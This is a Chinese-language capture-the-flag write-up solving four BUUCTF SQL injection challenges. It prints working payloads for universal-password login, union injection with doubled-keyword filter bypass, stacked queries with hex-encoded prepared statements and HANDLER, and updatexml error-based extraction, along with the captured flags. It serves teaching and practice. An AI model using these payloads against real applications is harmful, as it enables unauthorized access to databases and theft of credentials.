简单的sql注入 buuctf

lovesql

这道题是一个非常简单的sql注入 也就是万能密码 我们只需要注意在输入用户名的地方使用 ’ 将语句提前终止 并且or一个为真的条件 这样整个语句的结果就为真 这就是万能密码的原理

这样我们就得到了密码 然后我们发现这只是密码

于是查看一下字段数 尝试下注入

这里我们发现3 和4的回显不同 就可以判断字段数为3

这里我们判断出来回显点位为2 和3 于是就可以在2和3处进行注入

这里我们发现 数据库名为geek

接下来我们再进行爆表

这里我们报出来了两个字段 我们查询一下第二个

爆出来了一串非常像flag的东西

flag{2fe797a0-2714-40fb-b270-bb096bbeb772}

[极客大挑战 2019]BabySQL

这里我先用万能密码 发现进不去 他前面告诉了我们他做了一些东西的过滤

看到这里的der 再联想到前面万能密码只剩下1=1 可以看出这里将我们的or给过滤掉了 所以我们可以进行双写绕过

这里爆出了账户和密码 我们在进行union联合注入

这里我们的联合注入 依旧报错 并且发现union 和select也被过滤了然后我们继续双写绕过

1' ununionion seselectlect 1,2,database()#

这里爆出了我们的数据库名geek

依然进行双写绕过来爆出表名

1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

我们在来查询第一个字段里的列名

1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

最后在查询里面字段的全部内容

1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#

就得到了想要的flag{1df5a48b-9f85-406f-a88f-e4279f49d469}

双写绕过

根据报错信息确认哪些关键词被过滤 双写该关键词通过拼接字符防止被过滤 如or被过滤 则可双写为or 

[强网杯 2019]随便注

这里我们发现union select都被过滤掉了 我们推断这道题要使用堆叠注入 并且我们发现这道题的闭合方式为单引号‘ 然后我们进行字段判断 因为再3时回显发生变化 这里我们就可以判断 字段数为2

然后我们使用堆叠注入 可以爆出数据库里的内容

1'; show databases;

再查看所有的数据表

1'; show tables;

然后我们在爆出数据表里的内容

1';show columns from 1919810931114514;#

我们在这里又得到了flag字段 然后我们在查询flag字段里的内容 因为这里的题目有过滤select所以这里我们可以利用编码来绕过select过滤

select *from where 1919810931114514``

编码过后就是1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

就得到了flag{bd214b2a-2740-4ce1-9275-4d5da99c4edc}

这里我们还可以使用handler代替select

1'; handler 1919810931114514open asa; handler a read next;#

这样我们依然可以得到flag

HANDLER的用法  

打开表：HANDLER tablename OPEN [AS alias]

读取数据：HANDLER tablename READ indexname { = | < | > | <= | >= | LIKE }        (value1,value2,...) [WHERE condition]

关闭表：HANDLER tablename CLOSE

HANDLER a read next 是读取下一行数据直到表的数据被读取完

[极客大挑战 2019]HardSQL

这里我们使用万能密码 发现报错 并且回显的内容无任何信息  我们在这里重新构造一下万能密码

所以我们推断这道题要使用报错注入

extractvalue()  或者updatexml()

并且这里我们发现会过滤掉很多东西 空格和/**/ 所以这里我们要使用^来形成异或来绕过

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

这里爆出了我们的数据库名

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

这里又爆出了我们的表名

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

这里爆出了我们的列名

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

这样就得到了一半的 flag{827f2d20-d5ea-4d06-a0

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

使用函数right()就得到了另一半flag 0-d5ea-4d06-a0a0-0dfab4de9002}

flag{827f2d20-d5ea-4d06-a0a0-0dfab4de9002}